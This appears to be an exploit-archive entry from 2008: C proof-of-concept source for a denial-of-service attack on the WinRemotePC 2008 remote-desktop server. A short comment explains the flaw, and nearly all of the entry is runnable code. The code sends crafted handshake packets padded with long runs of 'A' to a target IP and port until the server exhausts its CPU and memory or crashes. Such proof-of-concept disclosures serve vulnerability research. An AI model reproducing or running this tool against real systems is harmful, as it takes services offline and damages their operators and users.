[2008-07-15] WinRemotePC Full+Lite 2008 r.2server Denial of Service Exploit   [.c]

CODE

#include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <string.h> #include <malloc.h> #include <sys/stat.h> #include <fcntl.h> #define size 30000 #define tests 35 /* ****WinRemotePC Full+Lite 2008 r.2server DOS(memory+cpu consumption) vulnerability poc**** A vulnerability exists in WinRemotePC Full+Lite 2008 r.2+server in the way it handles recieved packets because it fails to properly process/sanitize arbitrarily lengths and/or invalid packets.The vulnerability occurs both before and after login.When confrunted with such packets the server starts consuming full cpu and memory and sometims leads to immediate crash.Although i couldn't find a packet pattern for immediate crash or exploitation the DOS is certain through cpu+memory consumption.If one of the memory or cpu events did not occur reruning the poc might fix that :D Usage: ./dos [ip] [port] WinRemotePC: http://www.winsoftmagic.com/winremotepc.html Discovery+POC by Shinnok https://shinnok.com */ /*The first packet sent by the client to the server when initiating a connection split between the "Service Pack n" string which will be replaced with the variable length long strings of A's.Although the server is vulnerable to this kind of dos without requiring to shoot out a partially valid packet it is more reliable for dos this way :)*/ char p1[]="\x00\x00\x00\x00\xa7\x01\x00\x00\xa7\x01\x00\x00\x00\xff\x00\x00\xe4\x2e\x00\ \x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x8f\x41\x82\x7b\x38\xb1\xe4\x4e\x9b\ \x92\xf5\xc0\xe5\xf9\xb9\xd2\x01\x01\x00\x00\x20\x00\x00\x00\x22\xf4\xc7\x1f\xf6\x9a\x5e\ \x77\x1b\x42\x73\x70\x42\xda\xf0\xd1\x70\x59\xf8\xf7\x81\xb7\x97\x0a\x11\xf2\x4c\x0c\x3a\ \xbd\x56\xb9\x20\x00\x00\x00\xa1\xeb\x78\xe2\xbe\xeb\xb7\x3a\x33\x8c\xf4\x1f\xbd\xbe\x21\ \x9e\xf8\x6b\x20\x2d\x0f\x1d\x4b\x3e\x2d\x55\x5e\x45\xf6\x8a\xed\x4d\x5f\x00\x00\x00\xe8\ \x7c\x1a\x56\xd0\xa6\xf8\xef\x09\xea\xb6\xc8\x53\xe2\xc9\xc9\xcd\x86\x0b\xa3\x55\x90\xe6\ \x4c\x97\xb6\x38\x4b\xbc\x5f\xa4\x29\xa9\x2d\x1c\xa1\xa1\x7b\x1a\xbf\x97\x1a\x88\x55\x1d\ \x7e\xa4\x2e\x43\xf7\x57\xd6\x21\x1e\x9e\xa0\x6f\x4a\xd0\x38\xfa\xe9\x9a\x50\x8f\xd0\x43\ \x88\x9f\xc8\xb5\x6f\x09\x1a\xcf\x92\x74\x41\x6b\x87\xe1\xef\xbc\xe3\xf0\x99\x09\xb6\x8d\ \x85\x0b\x2e\xd3\x3b\x2e\x94\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x28\x0a\x00\x00\ \x02\x00\x00\x00"; char p2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x30\x31\x2d\ \x30\x30\x2d\x36\x46\x32\x45\x30\x31\x37\x30\x2d\x31\x45\x45\x38\x2d\x34\x34\x33\x36\x2d\ \x41\x35\x36\x44\x2d\x30\x44\x35\x33\x39\x38\x39\x36\x46\x30\x31\x35\x02\x00\x00\x00\x30\ \x3a\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x18\x00\x00\x00\x00\xff\x00\x00\xc4\ \x13\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00"; /*All kinds of A sizes to ensure the dos,starting with big ones at first to ensure that memory consumption occurs first and then dealing with the cpu issue.*/ int sizes[]={30000,29000,30000,127,128,255,256,511,512,1023,1024,2047,2048,3000,4000,5000, 6000,7000,8000,9000,10000,11000,12000,13000,14000,15000,16000,17000,18000,19000,20000,21000, 22000,23000,24000}; int main(int argc, char* argv[]){ struct sockaddr_in server; int s,i,f; char req[size]; char* buff; for(i=0;i<size;i++) req[i]='A'; bzero(&server,sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_port = htons(atoi(argv[2])); for(i=0;i<tests;i++) { s=socket(AF_INET,SOCK_STREAM,0); if(connect(s,(struct sockaddr * ) &server,sizeof(struct sockaddr)) == -1) { perror("Target blasted.\n"); return(EXIT_SUCCESS); } buff = malloc((sizeof(p1)+sizeof(p2)+sizes[i])-2); memcpy(buff,p1,sizeof(p1)-1); memcpy(buff+sizeof(p1)-1,req,sizes[i]); memcpy(buff+sizeof(p1)-1+sizes[i],p2,sizeof(p2)-1); write(s,buff,(sizeof(p1)+sizeof(p2)+sizes[i])-2); close(s); free(buff); } return(EXIT_SUCCESS); }